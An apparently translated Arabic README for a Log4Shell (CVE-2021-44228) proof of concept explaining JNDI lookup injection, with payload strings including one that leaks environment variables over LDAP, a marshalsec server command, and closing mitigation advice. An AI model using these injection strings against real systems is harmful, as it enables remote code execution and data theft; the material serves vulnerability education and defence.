
POC للثغرة
CVE-2021-44228:
تتيح لك هذه الثغرة تنفيذ تعليمات برمجية عشوائية عن طريق تسجيل رسالة ضارة على الجهاز المستهدف.
على سبيل المثال، يمكنك استخدامها في Minecraft عن طريق إرسال رسالة دردشة، وسيقوم جهاز الخادم/اللاعب بتسجيل رسالة الدردشة وتنفيذ التعليمات البرمجية الخاصة بك.
فيديو LiveOverflow/CVE-2021-44228
يجب أن تحتوي الرسالة على عنصر نائب ${} مع تعليمات لتحميل كائن عن بُعد عبر واجهة برمجة التطبيقات jndi. سيتم تحميل الكائن من خلال
ObjectFactoryldap://x.x.x.x:port/...http://x.x.x.x/...dns://x.x.x/...${jndi:ldap://127.0.0.1:1389/#}
إذا لم يكن ObjectFactory موجودًا في العميل، فلن يفعل شيئًا.
باستثناء حل اسم الخادم.
باستخدام ذلك، يمكنك تسريب متغيرات البيئة:
${jndi:ldap://127.0.0.1:1389/${env:java_home}}
لماذا المبالغة في التهويل؟
إذا كان فهمي صحيحًا، فهي توفر واجهة لـ JNDI
ما الذي يمكن استغلاله
JNDI JDAP هي واجهة برمجة تطبيقات للبحث عن الكائنات.
يمكنك الحصول على كائن Java من خادم.
marshalsec/LDAPRefServer
ترسل بيانات الكائن واسم ObjectFactory الذي يجب أن يبني الكائن على العميل.
يمكن استغلالها بعدة طرق.
إذا تم تمكين LDAP للثقة في الكود الخارجي، نحتاج فقط إلى إعطاء عنوان URL لـ ObjectFactory ضار.
com.sun.jndi.ldap.object.trustURLCodebase = true
أو هناك ثغرة أخرى في Java: JDK-8196902
وبدمج ذلك، ستصبح حقًا ثغرة RCE.
توجد عدة مستودعات POC على GitHub تفعل ذلك. مثال tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce
إذا تم تعيين هذا إلى false (افتراضيًا هو false)، يمكننا البحث عن ObjectFactory قابل للاستغلال في قاعدة الكود المستهدفة،
أو استغلال JNDI بطريقة مختلفة.
قراءة إضافية حول حقن JNDI:
JNDI injection
Veracode Research/rogue-jndi
RCEExample هي دالة تسجل الرسالة الضارة.
فقط اضغط على تشغيل لتشغيلها...
LoggerFactory هو ObjectFactory سيسجل أي شيء يحصل عليه...
إذا قمت ببناء marshalsec، يمكنك أن تطلب منه استخدام LoggerFactory
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1/#LoggerFactory"rce.RCEExample وشاهد الاستغلال (المسجل).LoggerFactory، ورؤية الكائنات.برنامجك غير متأثر إذا كان يقوم فقط بتسجيل الرسائل المدمجة.
إذا كان البرنامج يمكنه تسجيل نص من أي ملف بيانات أو من الشبكة، فهو معرض للخطر.
لكن يجب عليك إصلاحه على أي حال...
أفضل ما يمكنك فعله هو التحديث إلى Log4J2 2.15.0+
إذا لم يكن ذلك ممكنًا لسبب ما، قم بتعطيل البحث عن JNDI باستخدام وسيط Java التالي: ‐Dlog4j2.formatMsgNoLookups=True للتخفيف من الثغرة.
إذا كنت مسؤول خادم Minecraft، اتبع الدليل الرسمي: رسالة مهمة: ثغرة أمنية في إصدار Java